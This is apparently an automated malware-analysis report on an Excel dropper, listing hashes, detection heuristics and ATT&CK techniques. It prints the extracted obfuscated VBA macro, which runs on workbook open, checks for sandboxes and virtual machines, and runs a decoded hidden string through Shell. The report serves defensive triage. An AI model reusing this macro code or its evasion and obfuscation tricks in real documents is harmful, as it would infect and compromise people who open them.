Xls.Dropper.Agent-1822174 — Office (OLE) malware analysis

Static analysis result for SHA-256 c7af5902e5922a9a…

MALICIOUS

Office (OLE)

126.5 KB Created: 1996-10-08 23:32:33 Authoring application: Microsoft Excel First seen: 2015-03-15
MD5: 1f423d2d9a43c54a81e44fe692de80da SHA-1: d0252ec42e5ec94baa0cb1351d434b729f61c9a5 SHA-256: c7af5902e5922a9a89c4464a36b5c4f6d98e8d613a412581d7f64c2fab4ce2fb
356 Risk Score

Malware Insights

Xls.Dropper.Agent-1822174 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File T1566.001 Spearphishing Attachment

The file is an Excel spreadsheet containing a VBA macro that is automatically executed upon opening due to the Workbook_Open subroutine. This macro utilizes WScript.Shell to execute commands, a common technique for downloading and running additional malicious payloads. The presence of the 'Xls.Dropper.Agent-1822174' ClamAV signature further confirms its malicious nature as a dropper.

Heuristics 10

  • ClamAV: Xls.Dropper.Agent-1822174 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Dropper.Agent-1822174
  • VBA macros detected medium 6 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Shell oPOJidsf, 0
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
       Set WShell = CreateObject("WScript.Shell")
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
       Set WShell = CreateObject("WScript.Shell")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
               If GetSerialNumber(Environ("SystemDrive") & "\") = "1824245000" Then
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 37101 bytes
SHA-256: 981c22a4bfca94139992fe8e4cb7a3b83133107096295defbcc2fc631f954795
Detection
ClamAV: No threats found
Obfuscation or payload: likely
409 of 575 identifiers look randomly generated (e.g. 'TUesVCHrYSLyKjXOwprFSxuEcnYkHFkTBlFKv') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ЭтаКнига"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Sub Workbook_Open()
jhVKdsfjsd
Dim siNQQVbL As Integer
For siNQQVbL = 0 To 0
If siNQQVbL = 5 Then End
Next siNQQVbL
Dim gJLryR As Integer
For gJLryR = 0 To 0
If gJLryR = 5 Then End
Next gJLryR
Dim wVKHBTQ As Integer
For wVKHBTQ = 0 To 0
If wVKHBTQ = 5 Then End
Next wVKHBTQ
End Sub



Attribute VB_Name = "Лист1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Лист2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Лист3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Class1"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Private Function nxNZiOiHENlXPUXVbjKuvaMDRZpscgBqooOqJ()

Dim vowYxIwMEb As Integer
vowYxIwMEb = 8:
Do While vowYxIwMEb < 30
   DoEvents: vowYxIwMEb = vowYxIwMEb + 1
Loop

If "dJaAtNalSZ" = "QyrtgazWfE" Then End

If "AmpntVcNOs" = "xVjrBLurmC" Then End

End Function

Private Function wwWyRnRgNmuWxtGnKCTUesVCHrYSLyKjXOwpr()

If "nMxiuRPuDk" = "vPUfDSsJTW" Then End

If "ukPPoRcGjy" = "FeNoQMyGCu" Then End

GoTo mwLNUsKqdd
mwLNUsKqdd:

End Function

Private Sub HLrfpFRANaGDMdPHMPNTbJmnSEbQRhkUYsigg()

GoTo rAnNVQrNAd
rAnNVQrNAd:

GoTo tnYTovaSSl
tnYTovaSSl:

Dim ZdjYhXjSys As Long
ZdjYhXjSys = "2076":

End Sub


Attribute VB_Name = "Class2"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Public Function jXOwprFSxuEcnYkHFkTBlFKvTIJyJMQkaFfeH()

GoTo XdDLNoKwea
XdDLNoKwea:

Dim jLVjlsRIPb As Integer
jLVjlsRIPb = 7:
Do While jLVjlsRIPb < 16
   DoEvents: jLVjlsRIPb = jLVjlsRIPb + 1
Loop

Dim AOYnziviOL As Integer
AOYnziviOL = 0:
Do While AOYnziviOL < 11
   DoEvents: AOYnziviOL = AOYnziviOL + 1
Loop

GoTo PuxvbKRVva
PuxvbKRVva:

If "zpTcgBRoPO" = "qJmQylltop" Then End

Dim mCBSMwrNUZ As Integer
mCBSMwrNUZ = 8:
Do While mCBSMwrNUZ < 26
   DoEvents: mCBSMwrNUZ = mCBSMwrNUZ + 1
Loop

GoTo KxCIWGvhqw
KxCIWGvhqw:

GoTo mvUfxcfdjS
mvUfxcfdjS:

Dim DEiuLQYBko As Integer
DEiuLQYBko = 4:
Do While DEiuLQYBko < 12
   DoEvents: DEiuLQYBko = DEiuLQYBko + 1
Loop

End Function

Public Sub ooOqJfJYlemOplxmCtrMWrNtyQQKDqCIPGohj()

GoTo uEcnyLOMrt
uEcnyLOMrt:

Dim lMRWTIQZJT As Long
lMRWTIQZJT = "4654":

Dim FfeHzWnvVD As Long
FfeHzWnvVD = "146":

If "CoWskbcNBd" = "kpAgatHsrf" Then End

If "FYANaGDMkW" = "HTPNTbJtnS" Then End

Dim QRhrUYTJnn As Long
QRhrUYTJnn = "8655":

If "EIXdDLNoKw" = "easjLVjlsR" Then End

If "PbbptAOYnz" = "iviOLUMXPu" Then End

GoTo bKRVvamjyz
bKRVvamjyz:

End Sub

Private Sub hkUYsiggGIBEIQdDLGhdpetsjEOJelqIIbCPt()

Dim vhqwqpmvUf As Integer
vhqwqpmvUf = 9:
Do While vhqwqpmvUf < 14
   DoEvents: vhqwqpmvUf = vhqwqpmvUf + 1
Loop

GoTo jSsDEiuLQY
jSsDEiuLQY:

Dim ojZXXwZrOr As Long
ojZXXwZrOr = "4269":

GoTo uwYUgVKCAu
uwYUgVKCAu:

Dim AVChyySlZK As Integer
AVChyySlZK = 6:
Do While AVChyySlZK < 28
   DoEvents: AVChyySlZK = AVChyySlZK + 1
Loop

Dim XQSFZxuEcn As Integer
XQSFZxuEcn = 10:
Do While XQSFZxuEcn < 30
   DoEvents: XQSFZxuEcn = XQSFZxuEcn + 1
Loop

Dim MrtalMRWTI As Integer
MrtalMRWTI = 7:
Do While MrtalMRWTI < 3
   DoEvents: MrtalMRWTI = MrtalMRWTI + 1
Loop

GoTo TQkaFfeHzW
TQkaFfeHzW:

Dim vVDFGCoWsk As Long
vVDFGCoWsk = "5896":

End Sub

Private Sub UesVCHrYSLyKjXOwprFSxuEcnYkHFkTBlFKvT()

Dim UYTJnnmPBE As Integer
UYTJnnmPBE = 3:
Do While UYTJnnmPBE < 2
   DoEvents: UYTJnnmPBE = UYTJnnmPBE + 1
Loop

Dim DLNoKweasj As Integer
DLNoKweasj = 10:
Do While DLNoKweasj < 6
   DoEvents: DLNoKweasj = DLNoKweasj + 1
Loop

GoTo sRIPbbptAO
sRIPbbptAO:

Dim nziviOLUMX As Integer
nziviOLUMX = 8:
Do While nziviOLUMX < 27
   DoEvents: nziviOLUMX = nziviOLUMX + 1
Loop

GoTo vbKRVvamjy
vbKRVvamjy:

Dim pTcgBRoPOq As Integer
pTcgBRoPOq = 8:
Do While pTcgBRoPOq < 15
   DoEvents: pTcgBRoPOq = pTcgBRoPOq + 1
Loop

Dim ylltoplYmC As Integer
ylltoplYmC = 6:
Do While ylltoplYmC < 11
   DoEvents: ylltoplYmC = ylltoplYmC + 1
Loop

GoTo wrNUZqqKKx
wrNUZqqKKx:

GoTo IWGvhqwqpm
IWGvhqwqpm:

End Sub

Private Sub NlXPUXVbjKuvaMDRZpscgBqooOqJfJYlemOpl()

GoTo CAueAVChyy
CAueAVChyy:

GoTo KqxOXQSFZx
KqxOXQSFZx:

Dim EcnyLOMrta As Long
EcnyLOMrta = "272":

Dim RWTIQZJTQk As Integer
RWTIQZJTQk = 5:
Do While RWTIQZJTQk < 19
   DoEvents: RWTIQZJTQk = RWTIQZJTQk + 1
Loop

Dim zWnvVDFGCo As Long
zWnvVDFGCo = "5900":

Dim kbcNBdkpAg As Long
kbcNBdkpAg = "1401":

If "HsrfwFYANa" = "GDMkWHTPNT" Then End

If "JtnSEbQRhr" = "UYTJnnmPBE" Then End

GoTo sjLVjlsRIP
sjLVjlsRIP:

End Sub

Private Function TTHLrfpFRANaGDMdPHMPNTbJmnSEbQRhkUYsi()

Dim lYmCBSMwrN As Long
lYmCBSMwrN = "4520":

Dim qqKKxCIWGv As Long
qqKKxCIWGv = "2028":

If "wqpmvUfxcf" = "djSsDEiuLQ" Then End

Dim BkojZXXwZr As Long
BkojZXXwZr = "3274":

Dim muwYUgVKCA As Integer
muwYUgVKCA = 2:
Do While muwYUgVKCA < 9
   DoEvents: muwYUgVKCA = muwYUgVKCA + 1
Loop

Dim VChyySlZKq As Integer
VChyySlZKq = 6:
Do While VChyySlZKq < 16
   DoEvents: VChyySlZKq = VChyySlZKq + 1
Loop

GoTo QSFZxuEcny
QSFZxuEcny:

If "rtalMRWTIQ" = "ZJTQkaFfeH" Then End

Dim nvVDFGCoWs As Long
nvVDFGCoWs = "8149":

End Function

Private Function TUesVCHrYSLyKjXOwprFSxuEcnYkHFkTBlFKv()

If "hrUYTJnnmP" = "BEIXdDLNoK" Then End

GoTo IPbbptAOYn
IPbbptAOYn:

Dim iOLUMXPuxv As Long
iOLUMXPuxv = "4273":

Dim RVvamjyzpT As Integer
RVvamjyzpT = 8:
Do While RVvamjyzpT < 9
   DoEvents: RVvamjyzpT = RVvamjyzpT + 1
Loop

If "RoPOqJmQyl" = "ltoplYmCBS" Then End

If "rNUZqqKKxC" = "IWGvhqwqpm" Then End

If "UfxcfdjSsD" = "EiuLQYBkoj" Then End

If "XXwZrOrgUm" = "uwYUgVKCAu" Then End

Dim qxOXQSFZxu As Integer
qxOXQSFZxu = 8:
Do While qxOXQSFZxu < 8
   DoEvents: qxOXQSFZxu = qxOXQSFZxu + 1
Loop

End Function

Private Sub fQcfdjLSDEinLzhqBkhcSwwWyRnRgNmuWxtGn()

GoTo cNBdkpAgat
cNBdkpAgat:

GoTo srfwFYANaG
srfwFYANaG:

Dim MkWHTPNTbJ As Long
MkWHTPNTbJ = "1275":

Dim SEbQRhrUYT As Long
SEbQRhrUYT = "5649":

Dim mPBEIXdDLN As Integer
mPBEIXdDLN = 1:
Do While mPBEIXdDLN < 9
   DoEvents: mPBEIXdDLN = mPBEIXdDLN + 1
Loop

If "easjLVjlsR" = "IPbbptAOYn" Then End

Dim JmQylltopl As Long
JmQylltopl = "895":

Dim BSMwrNUZqq As Long
BSMwrNUZqq = "9270":

If "xCIWGvhqwq" = "pmvUfxcfdj" Then End

End Sub

Private Sub jKuvaMDRZpscgBqooOqJfJYlemOplxmCtrMWr()

GoTo yySlZKqxOX
yySlZKqxOX:

Dim SFZxuEcnyL As Integer
SFZxuEcnyL = 2:
Do While SFZxuEcnyL < 15
   DoEvents: SFZxuEcnyL = SFZxuEcnyL + 1
Loop

GoTo talMRWTIQZ
talMRWTIQZ:

Dim atHsrfwFYA As Integer
atHsrfwFYA = 3:
Do While atHsrfwFYA < 9
   DoEvents: atHsrfwFYA = atHsrfwFYA + 1
Loop

GoTo tnSEbQRhrU
tnSEbQRhrU:

Dim JnnmPBEIXd As Long
JnnmPBEIXd = "7522":

Dim NoKweasjLV As Long
NoKweasjLV = "4528":

Dim YnziviOLUM As Integer
YnziviOLUM = 10:
Do While YnziviOLUM < 1
   DoEvents: YnziviOLUM = YnziviOLUM + 1
Loop

Dim xvbKRVvamj As Integer
xvbKRVvamj = 6:
Do While xvbKRVvamj < 3
   DoEvents: xvbKRVvamj = xvbKRVvamj + 1
Loop

End Sub


Attribute VB_Name = "Class3"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Private Function bJmnSEbQRhkUYsiggGIBEIQdDLGhdpetsjEOJ()

Dim qqKKxCIWGv As Long
qqKKxCIWGv = "2028":

If "wqpmvUfxcf" = "djSsDEiuLQ" Then End

Dim BkojZXXwZr As Long
BkojZXXwZr = "3274":

Dim muwYUgVKCA As Integer
muwYUgVKCA = 2:
Do While muwYUgVKCA < 9
   DoEvents: muwYUgVKCA = muwYUgVKCA + 1
Loop

End Function

Public Sub rNtyQQKDqCIPGohjwqPMVtfQcfdjLSDEinLzh()

GoTo QkaFfeHzWn
QkaFfeHzWn:

Dim VDFGCoWskb As Long
VDFGCoWskb = "8643":

If "BdkpAgatHs" = "rfwFYANaGD" Then End

Dim kWHTPNTbJt As Integer
kWHTPNTbJt = 1:
Do While kWHTPNTbJt < 22
   DoEvents: kWHTPNTbJt = kWHTPNTbJt + 1
Loop

End Sub

Private Function vTIJyJMQkaFfeHsvZoVuDFGCovSkbcmBdKiAg()

Dim tAOYnziviO As Integer
tAOYnziviO = 6:
Do While tAOYnziviO < 21
   DoEvents: tAOYnziviO = tAOYnziviO + 1
Loop

Dim XPuxvbKRVv As Long
XPuxvbKRVv = "3023":

If "jyzpTcgBRo" = "POqJmQyllt" Then End

GoTo plYmCBSMwr
plYmCBSMwr:

End Function

Private Sub elqIIbCPtznxNZiOiHENlXPUXVbjKuvaMDRZp()

Dim jZXXwZrOrg As Integer
jZXXwZrOrg = 4:
Do While jZXXwZrOrg < 26
   DoEvents: jZXXwZrOrg = jZXXwZrOrg + 1
Loop

Dim wYUgVKCAue As Integer
wYUgVKCAue = 3:
Do While wYUgVKCAue < 27
   DoEvents: wYUgVKCAue = wYUgVKCAue + 1
Loop

If "hyySlZKqxO" = "XQSFZxuEcn" Then End

Dim LOMrtalMRW As Integer
LOMrtalMRW = 4:
Do While LOMrtalMRW < 20
   DoEvents: LOMrtalMRW = LOMrtalMRW + 1
Loop

End Sub


Attribute VB_Name = "Class4"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Private Sub uEcnYkHFkTBlFKvTIJyJMQkaFfeHsvZoVuDFG()

Dim CuLmwLNUsK As Integer
CuLmwLNUsK = 2:
Do While CuLmwLNUsK < 19
   DoEvents: CuLmwLNUsK = CuLmwLNUsK + 1
Loop

End Sub


Attribute VB_Name = "Class5"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Public Function xmCtrMWrNtyQQKDqCIPGohjwqPMVtfQcfdjLS()

Dim xVjrBLurmC As Integer
xVjrBLurmC = 9:
Do While xVjrBLurmC < 24
   DoEvents: xVjrBLurmC = xVjrBLurmC + 1
Loop

End Function


Attribute VB_Name = "dfsdf"


 Private Declare Function RegOpenKeyEx Lib "advapi32" Alias "RegOpenKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, ByRef phkResult As Long) As Long
 Private Declare Function RegQueryValueEx Lib "advapi32" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, ByRef lpType As Long, ByVal lpData As String, ByRef lpcbData As Long) As Long
 Private Declare Function RegCloseKey Lib "advapi32" (ByVal hKey As Long) As Long
 Const HKEY_LOCAL_MACHINE = &H80000002
 
 Public Function IsVirtualPCPresent() As Long
 Dim lhKey As Long
 Dim sBuffer As String
 Dim lLen As Long
 If RegOpenKeyEx(&H80000002, "SYSTEM\ControlSet001\Services\Disk\Enum", _
 0, &H20019, lhKey) = 0 Then
 sBuffer = Space$(255): lLen = 255
 If RegQueryValueEx(lhKey, "0", 0, 1, ByVal sBuffer, lLen) = 0 Then
 sBuffer = UCase(Left$(sBuffer, lLen - 1))
 Select Case True
 Case sBuffer Like "*VIRTUAL*": IsVirtualPCPresent = 1
 Case sBuffer Like "*VMWARE*": IsVirtualPCPresent = 2
 Case sBuffer Like "*VBOX*": IsVirtualPCPresent = 3
 If IsVirtualPCPresent = 1 Or 2 Or 3 Then End
 End Select
 End If
 Call RegCloseKey(lhKey)
 End If
 End Function

Attribute VB_Name = "load"
 Sub jhVKdsfjsd()
    If IsSandBoxiePresent(1) = True Then End
    If IsAnubisPresent(1) = True Then End
    If IsVirtualPCPresent = True Then End
oPOJidsf = MkSrpQP("ХРєѓw tєТНИєЁјЧПВ‘­Н№’‹¤Иї‚ЈФН»Жјu§лЦКИµѓўЧЧ„є­·—ЮМ»Сј~‚¶ТНСґДµЦ©їП­}{ЪЧКУ‚„ѓ«–„” …‚Ј•‰‘{‹ѓУЦєЩА„єЩЛЙ‘ёЅД™Џ}€њљЎВ€ІЗ»»ЗЦ©њ©ѕѓ·УЕ}Њѓu№кУ·С¬uyЖЁЈіm±ёеЙЙЗЋ›љи‘№ДЄuyЖЁЈіm±ёеЙЙЗЋ›љи‘»Ы­ђtеЧ·ХјuyЖЁЈіm±ёеЙЙЗЋ›љи‘»Ы­ђ", "rcVcHUTj")
Dim wfSoeUjt As Integer
For wfSoeUjt = 0 To 0
If wfSoeUjt = 5 Then End
Next wfSoeUjt
Dim tNhbQ As Integer
For tNhbQ = 0 To 0
If tNhbQ = 5 Then End
Next tNhbQ
Shell oPOJidsf, 0
Dim stahzHxdYZQ As Integer
For stahzHxdYZQ = 0 To 0
If stahzHxdYZQ = 5 Then End
Next stahzHxdYZQ
    End Sub


Attribute VB_Name = "Module1"
Private Sub gbwEJaatNBMSZQyrtgBZWfEpampntVcNOsxVj()

Dim VpfKKjMeBe As Long
VpfKKjMeBe = "4141":

If "ojLHtBXPGh" = "rGIPuFlFyM" Then End

Dim kBKDFSFkhR As Long
kBKDFSFkhR = "6144":

Dim lYUSYgnysX As Integer
lYUSYgnysX = 9:
Do While lYUSYgnysX < 19
   DoEvents: lYUSYgnysX = lYUSYgnysX + 1
Loop

If "WMWZDxnSsr" = "UfJmCiIQST" Then End

GoTo bJfxopAOqx
bJfxopAOqx:

End Sub

Public Sub sKqddRVCpzPbKXkQNWnyqWZXDlTwxcOlabrue()

If "ttTvORVDqQ" = "YTuqDrgfwR" Then End

If "wryEVVoocg" = "NBLamvbvUR" Then End

Dim ZKChkioXxI As Long
ZKChkioXxI = "7641":

If "zQemcGptOE" = "bCBdWsWlyr" Then End

Dim bcyLlHFZje As Long
bcyLlHFZje = "1896":

Dim MddXQdPVcT As Long
MddXQdPVcT = "6018":

End Sub

Public Function rtgBZWfEpampntVcNOsxVjrBLurmcHHgJbxbq()

Dim jLHtBXPGhr As Long
jLHtBXPGhr = "2393":

Dim PuFlFyMXwk As Long
PuFlFyMXwk = "6265":

GoTo DFSFkhRpal
DFSFkhRpal:

If "SYgnysXJGV" = "WMWZDxnSsr" Then End

Dim JmCiIQSTPb As Long
JmCiIQSTPb = "5772":

If "pAOqxvNtgg" = "UyescSENAn" Then End

End Function

Private Function QNWnyqWZXDlTwxcOlabrueiDsqqpSLOranNVQ()

Dim rgfwRBwryE As Integer
rgfwRBwryE = 7:
Do While rgfwRBwryE < 27
   DoEvents: rgfwRBwryE = rgfwRBwryE + 1
Loop

GoTo cgNBLamvbv
cgNBLamvbv:

Dim RaZKChkioX As Long
RaZKChkioX = "7273":

If "inzQemcGpt" = "OEbCBdWsWl" Then End

GoTo rzbcyLlHFZ
rzbcyLlHFZ:

Dim eAHMddXQdP As Integer
eAHMddXQdP = 5:
Do While eAHMddXQdP < 29
   DoEvents: eAHMddXQdP = eAHMddXQdP + 1
Loop

End Function

Public Function QyrtgBZWfEpampntVcNOsxVjrBLurmcHHgJbx()

Dim XwkBKDFSFk As Integer
XwkBKDFSFk = 4:
Do While XwkBKDFSFk < 6
   DoEvents: XwkBKDFSFk = XwkBKDFSFk + 1
Loop

Dim alYUSYgnys As Long
alYUSYgnys = "888":

If "VWMWZDxnSs" = "rUfJmCiIQS" Then End

GoTo vNtggUyesc
vNtggUyesc:

Dim ENAnTQZqCU As Long
ENAnTQZqCU = "2268":

GoTo AGoWAaFRoD
AGoWAaFRoD:

End Function

Public Function brueiDsqqpSLOranNVQrnAoEDtOYTovBSSllZ()

GoTo LamvbvURaZ
LamvbvURaZ:

Dim ChkioXxIin As Integer
ChkioXxIin = 1:
Do While ChkioXxIin < 21
   DoEvents: ChkioXxIin = ChkioXxIin + 1
Loop

GoTo mcGptOEbCB
mcGptOEbCB:

Dim WsWlyrzbcy As Integer
WsWlyrzbcy = 1:
Do While WsWlyrzbcy < 22
   DoEvents: WsWlyrzbcy = WsWlyrzbcy + 1
Loop

Dim FZjeAHMddX As Long
FZjeAHMddX = "8268":

If "PVcTbuwjdc" = "ziHsdpsqwY" Then End

End Function


Attribute VB_Name = "Module2"
Private Function fGTxESCRdmSmLIRpbTYbZfnOyzeQHVdtwgkFV()

Dim HLncVDFgCo As Long
HLncVDFgCo = "5898":

Dim kicNIdkpHH As Long
kicNIdkpHH = "1398":

If "HsyGwFYANh" = "GDMkWHTWUA" Then End

GoTo UuZEbqYhrB
UuZEbqYhrB:

Dim TJnnNpIeIX As Long
TJnnNpIeIX = "5651":

Dim lNokXeaTjL As Integer
lNokXeaTjL = 1:
Do While lNokXeaTjL < 14
   DoEvents: lNokXeaTjL = lNokXeaTjL + 1
Loop

Dim YiPiCpaAOF As Long
YiPiCpaAOF = "9154":

If "iviOLuTEPb" = "xvbKrCWamK" Then End

End Function

Private Sub MNdNQUoeJjiLwAdsZyHJKGsaWofgqFhOmEkXX()

If "wGvhqdRwtc" = "UfxcfEjSzd" Then End

Dim JuSghYBkPj As Integer
JuSghYBkPj = 8:
Do While JuSghYBkPj < 6
   DoEvents: JuSghYBkPj = JuSghYBkPj + 1
Loop

If "wZrVygUtbw" = "YUgVKJAueA" Then End

GoTo ChZySsGKqe
ChZySsGKqe:

Dim QZFZxuEcOf As Integer
QZFZxuEcOf = 5:
Do While QZFZxuEcOf < 9
   DoEvents: QZFZxuEcOf = QZFZxuEcOf + 1
Loop

If "aBlmRDtIQG" = "jTXrhFfeHL" Then End

Dim PcVDFgCoDs As Long
PcVDFgCoDs = "8147":

Dim cNIdkpHHat As Long
cNIdkpHHat = "3146":

End Sub

Private Function GMTKslnBuTQZxjUgjhnPWHImrPEluFolgWBBa()

GoTo IXdDlNokXe
IXdDlNokXe:

GoTo TjLVjlsYiP
TjLVjlsYiP:

GoTo CpaAOFngiv
CpaAOFngiv:

GoTo OLuTEPbxvb
OLuTEPbxvb:

If "rCWamKyzpA" = "cgbRvWVxJm" Then End

GoTo fMltvwsFmJ
fMltvwsFmJ:

Dim TdrUBZqxKK As Long
TdrUBZqxKK = "5153":

Dim IwGvhqdRwt As Integer
IwGvhqdRwt = 1:
Do While IwGvhqdRwt < 26
   DoEvents: IwGvhqdRwt = IwGvhqdRwt + 1
Loop

End Function

Private Sub TLQTRXfNqrWIfUVloYcwmkkKMFIMUhHPKlhti()

GoTo eAvChZySsG
eAvChZySsG:

Dim qeoEQZFZxu As Long
qeoEQZFZxu = "8022":

GoTo OfLOMSaBlm
OfLOMSaBlm:

Dim DtIQGjTXrh As Long
DtIQGjTXrh = "6529":

GoTo eHLncVDFgC
eHLncVDFgC:

GoTo DskicNIdkp
DskicNIdkp:

Dim HatHsyGwFY As Integer
HatHsyGwFY = 1:
Do While HatHsyGwFY < 9
   DoEvents: HatHsyGwFY = HatHsyGwFY + 1
Loop

If "GDMkWHTWUA" = "bJUuZEbqYh" Then End

End Sub

Private Function FolgWBBaDVrVkRqyaCxKrOGXYiwZGLvcWPDOn()

Dim giviOLuTEP As Integer
giviOLuTEP = 3:
Do While giviOLuTEP < 6
   DoEvents: giviOLuTEP = giviOLuTEP + 1
Loop

Dim bKrCWamKyz As Long
bKrCWamKyz = "6521":

If "cgbRvWVxJm" = "QfMltvwsFm" Then End

Dim BSTdrUBZqx As Long
BSTdrUBZqx = "3405":

If "xCIwGvhqdR" = "wtcUfxcfEj" Then End

Dim zdEJuSghYB As Integer
zdEJuSghYB = 9:
Do While zdEJuSghYB < 24
   DoEvents: zdEJuSghYB = zdEJuSghYB + 1
Loop

If "zXXwZrVygU" = "tbwYUgVKJA" Then End

GoTo AvChZySsGK
AvChZySsGK:

End Function

Public Function ESCRdmSmLIRpbTYbZfnOyzeQHVdtwgkFVssSu()

If "PcVDFgCoDs" = "kicNIdkpHH" Then End

If "HsyGwFYANh" = "GDMkWHTWUA" Then End

GoTo yTJnnNpIeI
yTJnnNpIeI:

If "dDlNokXeaT" = "jLVjlsYiPi" Then End

If "aAOFngiviO" = "LuTEPbxvbK" Then End

If "CWamKyzpAc" = "gbRvWVxJmQ" Then End

If "MltvwsFmJB" = "STdrUBZqxK" Then End

Dim SzdEJuSghY As Integer
SzdEJuSghY = 2:
Do While SzdEJuSghY < 14
   DoEvents: SzdEJuSghY = SzdEJuSghY + 1
Loop

End Function

Private Sub cwmkkKMFIMUhHPKlhtixwnISNipuMMfGTxESC()

GoTo ZxuEcOfLOM
ZxuEcOfLOM:

If "aBlmRDtIQG" = "jTXrhFfeHL" Then End

Dim atHsyGwFYA As Long
atHsyGwFYA = "2770":

GoTo rByTJnnNpI
rByTJnnNpI:

Dim aTjLVjlsYi As Long
aTjLVjlsYi = "6019":

Dim iOLuTEPbxv As Integer
iOLuTEPbxv = 4:
Do While iOLuTEPbxv < 24
   DoEvents: iOLuTEPbxv = iOLuTEPbxv + 1
Loop

GoTo KKxCIwGvhq
KKxCIwGvhq:

Dim RwtcUfxcfE As Long
RwtcUfxcfE = "5274":

End Sub

Private Function fNqrWIfUVloYcwmkkKMFIMUhHPKlhtixwnISN()

Dim ZySsGKqeoE As Long
ZySsGKqeoE = "3029":

GoTo SaBlmRDtIQ
SaBlmRDtIQ:

Dim ncVDFgCoDs As Integer
ncVDFgCoDs = 8:
Do While ncVDFgCoDs < 13
   DoEvents: ncVDFgCoDs = ncVDFgCoDs + 1
Loop

Dim IdkpHHatHs As Integer
IdkpHHatHs = 7:
Do While IdkpHHatHs < 13
   DoEvents: IdkpHHatHs = IdkpHHatHs + 1
Loop

Dim FYANhGDMkW As Integer
FYANhGDMkW = 1:
Do While FYANhGDMkW < 15
   DoEvents: FYANhGDMkW = FYANhGDMkW + 1
Loop

Dim UAbJUuZEbq As Integer
UAbJUuZEbq = 8:
Do While UAbJUuZEbq < 19
   DoEvents: UAbJUuZEbq = UAbJUuZEbq + 1
…